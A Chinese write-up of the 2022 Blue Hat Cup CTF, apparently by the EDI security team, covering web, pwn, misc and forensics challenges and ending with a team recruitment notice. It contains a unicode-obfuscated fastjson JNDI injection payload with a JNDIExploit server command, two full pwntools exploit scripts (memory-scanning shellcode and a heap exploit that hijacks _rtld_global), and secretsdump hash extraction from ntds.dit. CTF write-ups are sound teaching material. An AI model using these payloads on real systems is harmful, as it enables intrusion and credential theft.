当前位置:网站首页>第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp
第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp
2022-07-19 19:01:00 【EDI安全】
第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp
Web
Ez_gadget
源码看到了fastjson 但是有个hash要绕过去
参考
https://goodapple.top/archives/964
然后我们去运算下得到kQNH2XQ6eudIQEFB
代码上面有正则String pattern = “.rmi.|.jndi.|.ldap.|.\x.”;
https://github.com/safe6Sec/Fastjson
我们将payload进行unicode编码然后
str=kQNH2XQ6eudIQEFB&input={
"\u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","qqq":"payload"}
java -jar JNDIExploit.jar -i vpsip
payload编码后发过去
用date命令读取flag就行了
flag{ed41ca96-de27-4da7-8513-f3343c67c9bc}
Misc
domainhacker
流量中发现一个rar包和多个base加密代码
解开压缩包即可
domainhacker2
解压发现一个流量包和一个ntds.rar文件,rar带密码。跟misc1思路一样,查找ntds文件,发现压缩过程。
解密
得到密码:FakePassword123$,解压得到一个ntds.list,查看相关资料发现需要用到secretsdump.py,网上下载,然后解密得到hash值,说是history的,加个参数就好,命令。
python .\secretsdump.py -system SYSTEM -ntds .\ntds.dit LOCAL -history
flag{07ab403ab740c1540c378b0f5aaa4087}
Pwn
EscapeShellcode
利用write后rcx保存的地址可以快速定位shellcode保存地址,并且获得大概的flag保存范围,因为shllcode保存地址和flag保存地址就差28位,利用and获得其高位保存在rsi 作为基地址,后28位需要爆破,r15存储偏移,每次打印0x1000个字符,打印后跳转到$-0x19也就是mov rax,1处,然后继续从基地址+0x1000开始打印0x1000个字符,如此循环即可。
from pwn import*
context(arch='amd64',os='linux')
sh=process('./escape_shellcode')
#sh=remote("39.106.156.74",23470)
#start=0
start=0x500000000000
#addr=0x5633c143f000
code=''' mov rdi,1 mov rsi,{} mov r12,0xfffff0000000 mov r15,0x1000#r15储存偏移 mov rdx,0x1000#打印长度设置为0x1000 mov rax,1 syscall#write(rdi,rsi,rdx) mov rsi,rcx#write执行后rcx 储存着shllcode的相关地址 and rsi,r12#丢弃后28位 add rsi,r15#rsi=rsi+偏移地址 add r15,0x1000#偏移递增0x1000 jmp $-0x19#循环 跳转到mov rax,1 '''.format(start)
payload=asm(code)
#gdb.attach(sh)
#pause()
sh.sendline(payload)
sh.recvuntil("flag{")
flag=b'flag{'+sh.recvuntil("}")
print(flag)
Bank
Deposit功能, 如果存的正好等于cahs, 那么cash不会减少, 就可以刷钱
Trasnfer功能
admin至少给0x1F, 可以越界读堆: malloc_0x18[num]
hacker至少给0x33, 可以任意地址free
guest: malloc(0x10) 并读入0x10数据
ghost: realloc(ptr, sz), 0<sz<=0x100
abyss: *malloc_0x18=Read_ul() 并且exit(0)
思路:
free原语: realloc()先变大再变小, 就可以释放原来挺ptr指向的chunk
由于不知道libc地址, 先假设就是2.27, free chunk后进入tcache, 读出key字段就可获取tcache的地址, 打远程发现确实如此. 从而获取堆地址heap_addr
有了后续通过任意地址free尝试释放malloc_0x18的chunk, 结果发现heap_addr+0x2a0才能正确释放到, 因此libc至少是2.31
后续要通过堆喷射伪造一个UB chunk, 然后利用任意地址free释放到UB中, 然后再越界读出来, 从而获取libc地址
abyss有个任意写+exit(0), 显然就是劫持劫持rtld_global中的函数指针, 触发OGG
但是rtld_gloabl位于ld中, ld与libc的偏移与系统内核有关系, 我在20.04下尝试了结果失败了, 不过反正有越界读, 可以尝试越界读爆破一下libc_addr到rtld_global+3848的偏移, 不行
既然后任意读和libc的地址, 能不能通过libc获取ld的地址? 反正_rtld_global与ld的偏移固定, 手法类似于balsn_ctf_2019_SecPwn:
libc与ld的偏移不稳定, 使用固定偏移可能会出错. 实际上libc中也有直接的rtld_global, 里面第一个映射记录的就是ld地址, 因此接触rtld_global可以由libc地址得到ld地址。
但是打远程还是失败了, 怀疑是OGG的问题, 首先尝试执行libc.so.6的start(), 判断OGG是否能被执行, 还是不行, 后续我用perror做测试, 发现stderr是可以正常输出的, GG也是可以执行的。
后面一直跑一段时间
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
import base64
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
libc = ELF("./libc.so.6")
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("47.94.194.27", 45092)
def Cmd(s):
sh.sendlineafter("Click: ", s)
def Deposit(num):
Cmd("Deposit")
sh.sendlineafter("How Much? ", str(num))
def Put(num):
Cmd("Put")
sh.sendlineafter("How Much? ", str(num))
def Info():
Cmd("Info")
def Login(card, pwd):
Cmd("Login")
sh.sendlineafter(": ", card)
sh.sendlineafter(": ", pwd)
def Transfer(who, num):
Cmd("Transfer")
sh.sendlineafter("who? ", who)
sh.sendlineafter("How much? ", str(num))
# malloc_0x18[num]
def ReadHeap(num):
Transfer("admin", num)
def FreeAddr(addr):
Transfer("hacker", 0x33)
sh.recvuntil("hacker: Great!\n")
sh.sendline(str(addr))
def Malloc_0x10(data):
Transfer("guest", 6)
sh.recvuntil("data: ")
sh.send(data)
def Realloc(sz):
Transfer("ghost", 0xB)
sh.recvuntil('ghost: &^%$#@! :)\n')
sh.sendline(str(sz))
# malloc_0x18 = addr
def SetPtr(addr):
Transfer("abyss", 0)
sh.sendline(str(addr))
def GDB():
gdb.attach(sh, ''' telescope (0x0000555555554000+0x203010) 1 telescope (0x0000555555554000+0x203050) 1 telescope (0x0000555555554000+0x2030A8) 1 break *(0x7ffff7e1ea25 ) #conti ''')
Login("1"*0x10, "2"*0x6)
# be rich
cash = 0x190
for i in range(0x28):
Put(cash)
Deposit(cash)
Put(cash)
cash*=2
for i in range(8):
Malloc_0x10(str(i)*0x10)
Realloc(0x100)
Realloc(0x1)
ReadHeap(0x148/8)
sh.recvuntil("I think ")
heap_addr = int(sh.recvuntil(" is", drop=True), 16)-0x10
Log("heap_addr")
Malloc_0x10(flat(0, 0x421))
for i in range(32):
Malloc_0x10(p64(i)*2)
Malloc_0x10(flat(0, 0x21))
Malloc_0x10(flat(0, 0x21))
Malloc_0x10(flat(0, 0x21))
FreeAddr(heap_addr+0x4d0+0x10)
ReadHeap(0x240/0x8) # be0
sh.recvuntil("I think ")
libc.address = int(sh.recvuntil(" is", drop=True), 16)-0x1ebbe0
Log("libc.address")
ReadHeap(((libc.symbols['_rtld_global']-(heap_addr+0x2a0))/8))
sh.recvuntil("I think ")
ld_addr = int(sh.recvuntil(" is", drop=True), 16)
Log("ld_addr")
rtld_global_hook = ld_addr+0xf08
Log("rtld_global_hook")
FreeAddr(heap_addr+0x2a0)
Malloc_0x10(p64(rtld_global_hook)*2)
SetPtr(libc.address+0xe6c7e)
sh.interactive()
网站取证
网站取证_1
通过D盾扫描找到后门
网站取证_2
找到加密文件,然后发现是aes算法直接解密得数据库密码
网站取证_3
比较数据给的数据库和查看代码得到
网站取证_4
将数据库导入到本地数据库,然后将2022-04-02 00:00:00-2022-04-18 23:59:59的张宝和王子豪的记录取出来,还有汇率取出来放着。
汇率
0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37
核心代码在这儿,
用汇率把钱数计算出来就行
import base64
import hashlib
sum = 0
p = [0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37]
with open('./data.txt','r') as f:
d = f.readlines()
for i in range(len(d)):
key = hashlib.md5(b'jyzg123456').hexdigest()
x = 0
char = ''
s = ''
if d[i].strip().split()[6] == '5,' and d[i].strip().split()[7] == '3,':
data = base64.b64decode(d[i].strip().split()[-1])
date = int(d[i].strip().split()[4][9:11]) - 2
for i in range(len(data)):
if x == len(key):
x = 0
char += key[x:x + 1]
x += 1
for i in range(len(data)):
if ord(data[i:i + 1]) < ord(char[i:i + 1]):
s += chr(ord(data[i:i + 1]) + 256 - ord(char[i:i + 1]))
else:
s += chr(ord(data[i:i + 1]) - ord(char[i:i + 1]))
sum += float(s) * p[date]
else:
continue
print(sum)
脚本最后算出来的是总金额取小数后2位就行。
程序分析
程序分析_1
雷电App智能分析软件中的基本信息里,就有应用包名。
程序分析_2
雷电App智能分析软件中有个主活动以及主函数名,就是程序入口。
程序分析_3
雷电App智能分析中有个工具箱,用Jadx工具打开分析,在主入口中找到了一串base64的加密字符串,就是程序服务器地址的密文。
程序分析_4
入口处发现
这个模块
然后往下调发现
此处用了a这个类,然后试着提交答案就对了。
手机取证
手机取证_1
手机取证_2
计算机取证
计算机取证_1
解密为:anxinqi
计算机取证_2
计算机取证_3
提取恢复密钥
用取证大师解开
用给的字典去解密
打开即可
计算机取证_4
通过上题发现一个容器,
通过题目提示从内存导出密钥
解开容器发现一个压缩包
然后爆破压缩包密码即可
Tip
你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱[email protected]、[email protected](带上自己的简历,简历内容包括自己的学习方向,学习经历等)
边栏推荐
- 1、图机器学习基础入门
- Custom attribute operation of DOM series
- Web3.0 application architecture design evolution
- STM32开发笔记120:解决printf中%f不能输出的问题
- Opencv learning materials sharing: Chinese, graphics and text, code notes are both abundant, and it is recommended to collect them
- 60.41 million. Alibaba cloud won the bid: Northern Health "northern center 2022 cloud service project (servers, security equipment)"
- 5、复杂图网络
- [Network Communication II] TCP reference model
- Uniapp uses local storage to transfer values between pages
- 声网传输层协议 AUT 的总结与展望丨Dev for Dev 专栏
猜你喜欢
Web3.0 application architecture design evolution
软件测试岗位就业竞争压力大,985毕业的“打工人“同样存在苦不堪言。
声网传输层协议 AUT 的总结与展望丨Dev for Dev 专栏
TCP related knowledge and interview site details
"Xiaodeng in operation and maintenance" searches log data as network security intelligence
2022-7-18总结
永磁同步电机36问(一)——隐极电机与凸极电机有什么区别?
Soft test director: "after five years of work, you don't even know about the server interface test“
85-分布式项目搭建
为什么官方不建议使用uuid做MySQL主键
随机推荐
Permissionerror: [winerror 5] access denied
Minitouch click principle
JS中闭包的特性及其优缺点
美容院店务管理系统帮助门店管理哪些方面 ?
博客说明&留言板
2.5 亿:宜城数字乡村项目
基础测试干了4年,自学了自动化(太片面),突然接到被裁员消息
【直播回顾】AI客服“应势而变”,人机对话可以更轻松
The last technical problem baffles me: how to avoid the risk of production environment performance testing?
ICML2022教程 | 因果公平性分析,68页pdf
又一 AI 公司(思必驰)申请上市:三年亏损 8.3 亿、营收 6.6 亿,研发投入 6.9 亿
服务器自动抢占GPU运行程序
【Liunx】wait函数 和 waitpid函数
【TS】Class
中国联通称评标中遭遇恶意打分:硬刚甲方
38行PHP代码免导入数据库分析Linux访问日志
60 AI pharmaceutical enterprises on the map of China
数组、字符串、对象相关方法以及布尔值判断
【超全详细】SQL 优化方法
Jianan Yunzhi completed a new round of financing, with a valuation of billions of dollars!